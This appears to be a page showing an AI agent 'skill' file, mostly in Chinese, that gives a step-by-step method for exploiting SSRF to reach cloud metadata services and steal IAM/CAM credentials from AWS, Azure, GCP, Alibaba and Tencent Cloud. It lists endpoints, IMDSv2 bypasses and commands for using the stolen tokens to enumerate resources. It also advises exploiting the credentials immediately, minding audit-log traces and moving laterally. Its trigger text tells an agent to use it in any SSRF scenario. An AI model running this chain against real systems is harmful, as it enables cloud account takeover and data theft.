cloud-metadata
$
npx mdskill add wgpsec/AboutSecurity/cloud-metadataExtract cloud credentials by exploiting SSRF to access metadata services.
- Enables credential theft from AWS, Azure, GCP, and Chinese cloud providers.
- Depends on SSRF vulnerabilities or existing shell access to internal networks.
- Automatically detects cloud environments via header analysis and IP patterns.
- Returns extracted IAM tokens and service enumeration results directly.
SKILL.md
.github/skills/cloud-metadataView on GitHub ↗
---
name: cloud-metadata
description: "云元数据利用。当通过 SSRF 或已获取的 shell 可以访问云实例元数据服务时使用。覆盖 AWS/Azure/GCP/阿里云/腾讯云的元数据端点、IAM/CAM 凭据提取、IMDSv2 绕过、从元数据到云服务枚举的完整攻击链。发现任何 SSRF 场景、内网可访问 169.254.169.254 或 100.100.100.200 的场景都应使用此技能"
metadata:
tags: "cloud,metadata,ssrf,iam,cam,aws,azure,gcp,aliyun,tencent,腾讯云,imds,元数据,云安全"
category: "cloud"
---
# 云元数据利用方法论
IMDS 是从 SSRF/RCE 到云控制面的桥梁——一个 HTTP 请求就能获取 IAM/CAM 临时凭据。
## ⛔ 深入参考(必读)
- 各云平台凭据提取详细命令、AWS/腾讯云快速利用、元数据信息路径 → [references/credential-extraction.md](references/credential-extraction.md)
---
## Phase 1: 确认云环境
| 线索 | 云平台 |
|------|--------|
| `x-amz-*` Header, `Server: AmazonS3` | AWS |
| `x-ms-*` Header, `.azurewebsites.net` | Azure |
| `.googleapis.com`, `x-goog-*` Header | GCP |
| `.aliyuncs.com`, `x-oss-*` Header | 阿里云 |
| `.myqcloud.com`, `x-cos-*` Header, `Server: tencent-cos` | 腾讯云 |
## Phase 2: 元数据端点速查
```
# AWS (IMDSv1 — 直接 GET)
http://169.254.169.254/latest/meta-data/
# AWS (IMDSv2 — 需要 PUT 获取 Token)
PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header: Metadata: true
# GCP
http://metadata.google.internal/computeMetadata/v1/
Header: Metadata-Flavor: Google
# 阿里云
http://100.100.100.200/latest/meta-data/
# 腾讯云(CVM/轻量应用服务器/Lighthouse)
http://metadata.tencentyun.com/latest/meta-data/
# 也可通过 IP 访问
http://169.254.0.23/latest/meta-data/
```
### 腾讯云元数据完整路径
```
# 基础信息
http://metadata.tencentyun.com/latest/meta-data/
http://metadata.tencentyun.com/latest/meta-data/instance-id
http://metadata.tencentyun.com/latest/meta-data/uuid
http://metadata.tencentyun.com/latest/meta-data/hostname
http://metadata.tencentyun.com/latest/meta-data/local-ipv4
http://metadata.tencentyun.com/latest/meta-data/public-ipv4
http://metadata.tencentyun.com/latest/meta-data/instance-type
# 区域信息
http://metadata.tencentyun.com/latest/meta-data/placement/region
http://metadata.tencentyun.com/latest/meta-data/placement/zone
# 网络(需先获取 MAC 地址)
http://metadata.tencentyun.com/latest/meta-data/mac
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/vpc-id
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/subnet-id
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/local-ipv4
# CAM 角色凭据(关键攻击面!)
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/
# ↑ 列出挂载的角色名称
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/<role-name>
# ↑ 返回临时凭据: TmpSecretId, TmpSecretKey, Token, ExpiredTime
# 用户数据(启动脚本——经常包含密码!)
http://metadata.tencentyun.com/latest/user-data
```
## Phase 3: SSRF → 元数据
- 直接用 SSRF 请求 `http://169.254.169.254/...`(AWS/Azure/GCP)
- 直接用 SSRF 请求 `http://metadata.tencentyun.com/...`(腾讯云,域名方式)
- 直接用 SSRF 请求 `http://100.100.100.200/...`(阿里云)
- **IMDSv2 需要 PUT + 自定义 Header** → 大多数 SSRF 无法设置 Header,这是 IMDSv2 的防护价值
- 绕过:`http://[::ffff:169.254.169.254]/`、DNS rebinding、302 重定向
- **腾讯云和阿里云的元数据服务不需要特殊 Header**(与 IMDSv1 类似,更容易被 SSRF 利用)
## Phase 4: 凭据利用决策树
```
获取到凭据?
├─ AWS → export 环境变量 → aws sts get-caller-identity → 枚举 S3/EC2/Lambda/Secrets
├─ Azure → Bearer Token → 枚举资源
├─ GCP → OAuth Token → 枚举项目资源
├─ 阿里云 → STS Token → 枚举 OSS/ECS
└─ 腾讯云 → 配置 tccli → 枚举 COS/CVM/SCF/CAM
├─ tccli configure(交互式)或设置环境变量
├─ tccli sts GetCallerIdentity(验证身份)
├─ coscli ls 或 Python SDK(列出存储桶,tccli 不支持 GetService)
├─ tccli cvm DescribeInstances(列出实例)
└─ → 转入 cloud-iam-audit 技能进行提权评估
详细命令 → [references/credential-extraction.md](references/credential-extraction.md)
```
### 腾讯云凭据快速配置
```bash
# 方式 1: tccli configure
tccli configure
# SecretId: 从元数据获取的 TmpSecretId
# SecretKey: 从元数据获取的 TmpSecretKey
# token: 从元数据获取的 Token
# Region: 从元数据 placement/region 获取
# 方式 2: 环境变量(适合脚本化)
export TENCENTCLOUD_SECRET_ID="TmpSecretId"
export TENCENTCLOUD_SECRET_KEY="TmpSecretKey"
export TENCENTCLOUD_SESSION_TOKEN="Token"
# 验证
tccli sts GetCallerIdentity
```
获取云凭据后,进行 IAM 提权评估。
## 注意事项
- **IMDSv2** 是 AWS 对元数据 SSRF 的主要防护——纯 SSRF 基本无法利用
- **腾讯云和阿里云元数据不强制 Token**,SSRF 利用门槛更低
- 云凭据有过期时间(通常 6-12 小时),获取后应**立即利用**
- 凭据操作会留下 CloudTrail/CloudAudit 日志,注意操作痕迹
- **User-Data** (`/latest/user-data`) 经常包含启动脚本中的密码
- 腾讯云元数据域名 `metadata.tencentyun.com` 只能在实例内网访问
## 后续利用
- 获取云凭据后可进行横向移动,访问更多云资源
- 腾讯云: 凭据 → tccli/coscli 枚举 COS → 搜索敏感数据 → CAM 提权
- AWS: 凭据 → awscli 枚举 S3/EC2/Lambda → IAM 提权
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|